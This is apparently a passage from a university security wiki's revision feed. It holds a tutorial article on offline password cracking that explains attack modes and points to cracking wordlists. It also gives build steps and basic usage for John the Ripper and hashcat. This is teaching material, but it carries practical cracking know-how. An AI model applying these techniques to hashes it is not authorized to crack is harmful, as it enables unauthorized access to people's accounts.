&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;4.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Use complex passwords (mix of numbers, lower and upper case letters and special characters)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;5.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Passwords can be tested for their omplexity&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;6.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Users should always log out of application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;7.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Use password manager&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;8.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Enable 2-factor authentication wherever possib&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Workshops]] (2017, 2018, 2019, 2020)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [1] https://www.owasp.org/images/1/1c/OWASP-IoT-Top-10-2018-final.pdf&lt;br /&gt;
* [2] https://metro.co.uk/2019/12/19/10-worst-passwords-2019-revealed-nothing-changed-11932281/&lt;br /&gt;
* [3] https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&amp;amp;hl=de_AT&lt;br /&gt;
* [4] https://www.yubico.com/authentication-standards/fido-u2f/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Hash.PNG&amp;diff=10718</id>
		<title>File:Hash.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Hash.PNG&amp;diff=10718"/>
		<updated>2023-01-06T23:17:36Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Password_Cracking&amp;diff=10717</id>
		<title>Password Cracking</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Password_Cracking&amp;diff=10717"/>
		<updated>2023-01-06T23:06:57Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!--&lt;br /&gt;
TODO:&lt;br /&gt;
- Explain salt and pepper&lt;br /&gt;
- Improve hashcat section&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;max-width: 970px; text-align: justify&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This articles provides the required knowledge in the field of &amp;lt;i&amp;gt;key recovery&amp;lt;/i&amp;gt;. It gives the reader a brief [[#Introduction|introduction]] to password cracking in general. It also provides [[#Background|background]] information about common [[#Password Attacks|password attacks]], [[#Attack Modes|attack modes]] and cracking [[#Miscellaneous Tools|tools]]. The article goes into more detail about the popular tools [[#John the Ripper|John the Ripper]] and [[#Hashcat|Hashcat]]. Furthermore presenting a [[#Procedure|general guideline]] for offline password cracking. See also [[#Related|Related Articles]]. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
Password cracking or Password recovery is used in IT-Security and Cryptanalysis to recover passwords or digital keys in general, which are the most critical part of a digital identity that is associated with a specific service. To acquire such digital keys, common Password Attacks are employed to infer the corresponding key. Other techniques, like social engineering or dumpster diving, are also possible in some scenarios. Keys are unspaced sets of characters that allow to authenticate against a given security mechanism in order to gain access to data, programs, or secured systems. However, these techniques could also be used to gain unauthorized access to a remote system.&lt;br /&gt;
&lt;br /&gt;
Once a key has been recovered, it can subsequently be used to undermine a digital authentication process, which provides privacy protection by mitigating risks of unauthorized access to individuals’ information. In other words, a key must be kept secret by a claimant, humanoid or not, while the verifier confirms the claimant’s identity. Additionally, choosing a strong password is crucial to prevent cracking and render recovery impossible. Furthermore, a Multi-factor (MFA) or Two-factor authentication (2FA) is recommended, since a claimant has to provide more factors to the verifier than just one key, which are something the claimant knows (knowledge), has (possession) or is (inherence), whereby a password recovery becomes pointless without knowing of the factors possession or inherence. [P1]&lt;br /&gt;
&lt;br /&gt;
It should be noted that keys can be available in various forms. On the one hand, clear-text passwords can be transmitted over the network or stored locally, which then only needs to be intercepted or found. On the other hand, passwords can also appear in encoded, hashed or obfuscated forms. The latter differs in that the obfuscated password is brought back to its original form with the appropriate reverse algorithm. In contrast, a hashed password benefits from the one-way properties of the algorithm used and can only be concluded by hashing guessed password repeatedly and comparing them to the target hash until the original password or any rare hash collision has been found. In the following, only hashed keys are treated.&lt;br /&gt;
&lt;br /&gt;
In order to be able to conclude on the original keys, high computing power is needed. Calculations can be done either by using CPUs with a small number of cores that have been developed for the sequential execution of processes. Alternatively, by using GPUs, which have a very high number of cores working in parallel, making them theoretically ideal for password cracking. The time to crack a password depends on its entropy, measured by the bit strength of a password and as well as the password length forming the target keyspace.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Background&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Password Attacks&amp;lt;/h2&amp;gt;&lt;br /&gt;
Password attacks can be performed in two ways. On the one hand, in the case of online attacks, designated system interfaces are used to try out passwords and, on the other hand, offline attacks in which hashed passwords were obtained via other channels and then processed locally at any time. Online attacks are much slower because the calculations are performed by the target, while the latency of the network link also plays an important role. Furthermore, such attacks could be detected and prevented by the attacked systems. Examples would be attacks on SSH or any web-based login form. On the other hand, offline attacks can no longer be detected after the hashes have been obtained and can be carried out highly effective since only hashes are calculated and compared here, but no further communication or processes between systems or the like are required.&lt;br /&gt;
&lt;br /&gt;
As it is common in most areas of life, there is not only black and white but also the grey zone in between. For this reason, it should be noted that there are also non-electronic attacks on passwords, such as dumpster diving or social engineering. But also more drastic but highly effective ways like Coercion by the government or Rubber-hose cryptanalysis (torture) can be taken, in which the human factor as the weakest link in the chain is attacked. This work is focused on offline attacks, and no human nor animal has been harmed during this work. See also [[Password Security]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Attack Modes&amp;lt;/h2&amp;gt;&lt;br /&gt;
The following paragraphs present the most common modes used with password attacks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Brute-force&amp;lt;/b&amp;gt; attacks try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored. Every hashed password is compared to the target hash on the fly until a match, and thus also a valid password has been found. This may be the original password or any rare hash collision. The success probability is given if the target password is in the known keyspace. However, for this attack, an extremely high computing power is needed to reach the target in a reasonable time.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Dictionary&amp;lt;/b&amp;gt; attacks are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence. The advantage is that one can quickly cover the most common passwords, so that these kinds of attacks are very effective, as many users use common weak passwords which are easy to remember. This can easily be fought by using passwords without underlying semantics. The best-known wordlist is the rockyou.txt, which contains 32 million passwords. Its content originates from a data leak of the company RockYou from the year 2009, who stored their passwords in clear-text.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Rainbow&amp;lt;/b&amp;gt; attacks are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function. This variant results in a time-memory trade-off, where the process is faster since only comparison operations have to be performed, but this is only effective if the rainbow-table is stored in RAM, furthermore rainbow-tables take up more space on the hard disk than wordlists. The use of a key derivation function that uses a salt makes this attack infeasible.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hybrid&amp;lt;/b&amp;gt; attacks combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password ist known. An example would be the use of the word ’password’ combined with all numbers from 0 to 9999. This is also very useful with usernames of com- panies using simple rules like an identifying string combined with an incrementing number. (e.g. Pass1234)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Rule-based&amp;lt;/b&amp;gt; attacks use methods to change passwords to cover all variants. It is a very flexible and efficient attack, but also very complicated to cover all desired cases. Ideal if the password requirements for a system are known, since passwords shall be easy to remember while being secure at the same time, many users use common passwords and modify them in a way that they match the password policy. (e.g. ’P@ssw0rD’)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Syllable&amp;lt;/b&amp;gt; attacks are again a combination of brute force and dictionary attack in which all permutations of each word within a wordlist are checked. This is used when the password is not a real word and is often better than pure brute-forcing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Other&amp;lt;/b&amp;gt; attacks, like Combinator, Fingerprint, Mask, Toggle-Case, Permutation, Table- Lookup, PRINCE may be similar to the ones noted above and shall be mentioned but are not covered in any detail here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Wordlists&amp;lt;/h2&amp;gt;&lt;br /&gt;
Wordlist aka. dictionary attacks are often the first step to take when cracking passwords, since most users use common passswords or mutations of those. Besides the classic &amp;lt;code&amp;gt;rockyou.txt&amp;lt;/code&amp;gt;, there are tons of wordlists for different use cases. For this purpose [https://weakpass.com weakpass.com] may be used used, which offers a great collection. Based on GeForce GTX 1060 6GB benchmark and [https://www.netmux.com/ Hash Crack] by [https://twitter.com/netmux Netmux], the following table can be mostly been respected as general guideline to select worldlists for initial runs. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;card-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;table-container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 0px; width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Example Hashtype&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Avg Speed&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~10 min&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~1 hour&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~3-4 hours&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;MD5, NTLM, SHA(1-256), MySQL&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;gt;5000 MH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1863 weakpass_2]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1919 weakpass_2a]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;md5apr1, md5crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;5000 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1863 weakpass_2]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1919 weakpass_2a]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;WPA/WPA2,sha256crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;200 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1802 HashesOrg]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;PBKDF2, bcrypt, sha512crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;5 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/545 dazzlepod]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/90 rockyou.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wordlist can also be created using web scraper, like the [https://github.com/digininja/cewl Custom Wordlist Generator] (&amp;lt;code&amp;gt;CeWL&amp;lt;/code&amp;gt;). Alternatively &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; can be used to create wordlists. In the following examples the rules single and wordlist are used to generate all possible mutations and permutations from a source wordlist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;john -wordlist=&amp;quot;source_wordlist.txt&amp;quot; -rules=Single,Wordlist -stdout &amp;gt; &amp;quot;single_wordlist.txt&amp;quot;&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;John the Ripper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
John the Ripper acronyms for John or JtR is a popular open-source password cracker from the Openwall developers. Historically, the main use has been to find weak UNIX passwords. To this day, john has been evolved to be fast and rich in features. John has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks. It should be noted that john even provides the ability to define custom cracking modes using a built-in C compiler. The developers provide additional variants like a commercial John the Ripper Pro version and Hash Suite, which is recommended when using Android or Windows. Besides the above-mentioned programs, there is also a graphical version of John named [https://openwall.info/wiki/john/johnny Johnny], for those who are not friends of the console, that is available for Linux, macOS, and Windows.&lt;br /&gt;
&lt;br /&gt;
Furthermore John offers some support for CUDA and OpenCL [https://openwall.info/wiki/john/GPU GPUs]. Whereas, CUDA is a parallel computing platform and programming model developed by NVIDIA for general computing on graphical processing units (GPUs). With CUDA, developers are able to dramatically speed up computing applications by harnessing the power of GPUs. OpenCL (Open Computing Language), on the other hand, is a low-level API for heterogeneous computing that runs on CUDA-powered GPUs. Using the OpenCL API, developers can launch compute kernels written using a limited subset of the C programming language on a GPU. [W7] No official numbers have been found regarding the number of supported hash algorithms for john, but there are over 2000 difference algorithms included in the jumbo version. Many of the algorithms under john are combinations of algorithms. These combinations are identified by the foreword dynamic_ and a subsequent number. Such combinations only appear in the jumbo version and have been added by the community.&lt;br /&gt;
&lt;br /&gt;
Implementations exist for many UNIX-based systems such as Linux, macOS, Android, and Solaris, as well as for Windows. But also for more exotic devices running under DOS, BeOS, or OpenVMS. The resources are provided as pre-compiled binaries or as source code. The latter can then be adapted as desired and compiled for a specific system. A basic version of John can be installed using package managers such as apt, pkg, or snap. However, it is recommended to choose the community enhanced-jumbo version, which offers support for a variety of additional password hash types as well as non-hashes like SSH private keys, RAR archives, or PDF files. The following listing provides the necessary steps to clone and build latest bleeding-edge Jumbo version of John on most UNIX-based system. Source files for all versions could also be downloaded from [https://download.openwall.net/pub/projects/john/ Openwall.net]. See also [[Password cracking on Android]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Clone GIT repository&lt;br /&gt;
git clone git://github.com/magnumripper/JohnTheRipper -b bleeding-jumbo john 3 &lt;br /&gt;
# Build&lt;br /&gt;
cd ./john/src &amp;amp;&amp;amp; ./configure &amp;amp;&amp;amp; make -s clean &amp;amp;&amp;amp; make -sj4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Hashcat&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hashcat is yet another very popular cross-platform cracking tool, whose developers claim to have developed the world’s fastest and most advanced open-source password recovery utility. Since [https://hashcat.net/wiki/ Hashcat] version 3, the old CPU-based hashcat-legacy and GPU-based oclHashcat have been merged. The tool allows to use all OpenCL compatible processors of the same device in parallel and even work distributed over the network. Hashcat supports five unique attack modes for more than 200 highly optimized hash algorithms. &lt;br /&gt;
&lt;br /&gt;
Hashcat currently supports CPUs, GPUs, and other hardware accelerators such as DSPs, FPGAs, and co-processors in Linux, Windows, and macOS, as well as distributed password decryption functions. Almost all of this information and much more can be found on the Hashcat man page, which is one of the best that I have seen so far. Hashcat can be downloaded via package manager like `apt` under Linux or `brew` on macOS. But here it is recommended to download the source files again and build it manually. Compared to john, however, fewer platforms are supported here. The processors available for each platform can be listed using the `-I` or `–opencl-info` flag. These may need the corresponding drivers for Intel, AMD, or NVIDIA to be addressed correctly. This process will not be successful on every platform.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Clone GIT repository&lt;br /&gt;
git clone https://github.com/hashcat/hashcat.git&lt;br /&gt;
# Build&lt;br /&gt;
cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Basic Usage === &lt;br /&gt;
The core syntax of hashcat is as follows: &lt;br /&gt;
&lt;br /&gt;
==== hashcat -a &amp;lt;$attack mode&amp;gt; -m &amp;lt;$hash_algorithm&amp;gt; &amp;lt;$hash (stdin/file)&amp;gt; &amp;lt;$dictionary&amp;gt; ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;$hash&amp;lt;/b&amp;gt; and &amp;lt;b&amp;gt;$dictionary&amp;lt;/b&amp;gt; are your target hashes and dictionary/wordlist file. We’ll touch on the other parts below.&lt;br /&gt;
&lt;br /&gt;
=== Hashing Algorithms ===&lt;br /&gt;
&lt;br /&gt;
This is the type of hash you’re trying to crack. Hashcat supports hundreds of hashes and the chosen hash mode needs to be stated for hashcat to know what to attack. The modes can be found using &amp;lt;b&amp;gt;hashcat ‐‐help&amp;lt;/b&amp;gt; (note: hashcat cannot attack multiple hash types in a single session but there are other tools that can). Recent versions of hashcat also support hash auto-detection if &amp;lt;b&amp;gt;-m &amp;lt;$mode&amp;gt;&amp;lt;/b&amp;gt; isn’t passed, however as several hash types are constructed similarly, false positives can occur and therefore it isn’t encouraged.&lt;br /&gt;
&lt;br /&gt;
For example, MD5 would be &amp;lt;b&amp;gt;-m 0&amp;lt;/b&amp;gt;, SHA1 would be &amp;lt;b&amp;gt;-m 100&amp;lt;/b&amp;gt; and so on.&lt;br /&gt;
&lt;br /&gt;
[[File:Hashing Algorothms Hashcat.png|500px]]&lt;br /&gt;
&lt;br /&gt;
=== Attack Modes === &lt;br /&gt;
&lt;br /&gt;
This is the type of password attack you’d like to carry out. Dictionary (referred to as ‘Straight’ in hashcat) is attack mode 0. This is also the default attack type and doesn’t need to be explicitly added if a dictionary attack is being performed. Hashcat’s supported attack modes are shown below and again can also be found by using &amp;lt;b&amp;gt;hashcat ‐‐help&amp;lt;/b&amp;gt;. This post is only going to cover dictionary attacks, however, future guides might address more.&lt;br /&gt;
&lt;br /&gt;
[[File:Attack Modes Hashcat.png|250px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Rules === &lt;br /&gt;
&lt;br /&gt;
If an attack does not lead to a successful result, the individual words can be changed using rules. The rules correspond to typical patterns of how people form passwords.&lt;br /&gt;
Simple rules can be:&lt;br /&gt;
&lt;br /&gt;
*First letter capitalized&lt;br /&gt;
*Known words written from back to front&lt;br /&gt;
*Appending a number from 0-9 to the end of a word &lt;br /&gt;
*Appending a year like 1900-2020 to the end of a word&lt;br /&gt;
*Conversion to LeetSpeak (e.g. &amp;lt;password&amp;gt; --&amp;gt; p455w0rd)&lt;br /&gt;
&lt;br /&gt;
Rules are configured under &amp;lt;b&amp;gt;&amp;quot;usr/share/hashcat/rules/best64.rule&amp;quot;&amp;lt;/b&amp;gt;.&lt;br /&gt;
These are passed to hashcat with the -r option.&lt;br /&gt;
&lt;br /&gt;
=== Character Set === &lt;br /&gt;
&lt;br /&gt;
If the correct password can not be determined even with these modifications, a brute force attack is usually resorted to. For this purpose, the character space can be restricted by specifying the number of characters and the respective character type.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;card-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;table-container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 0px; width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Character Set&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Character&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;l&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Lower case letters&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;u&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Upper case letters&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;d&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Digits 0-9&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;h&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Digits 0-9 + &amp;quot;abcdef&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;H&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Digits 0-9 + &amp;quot;ABCDEF&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;special characters&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;a&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;?l?u?d?s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;b&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;0x00 - 0xff&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Performance Comparison&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is a performance comparison between John the Ripper and hashcat. The tools were tested under Kali Linux in VMware with four processors. An NVIDIA GTX 1080 graphics card was used for the system. &amp;quot;hashcat&amp;quot; shows the clear performance difference in the table below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;card-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;table-container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 0px; width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;System&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Speed [Hashes/sec]&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;John the Ripper (CPU with 4 Cores)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;21.552&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
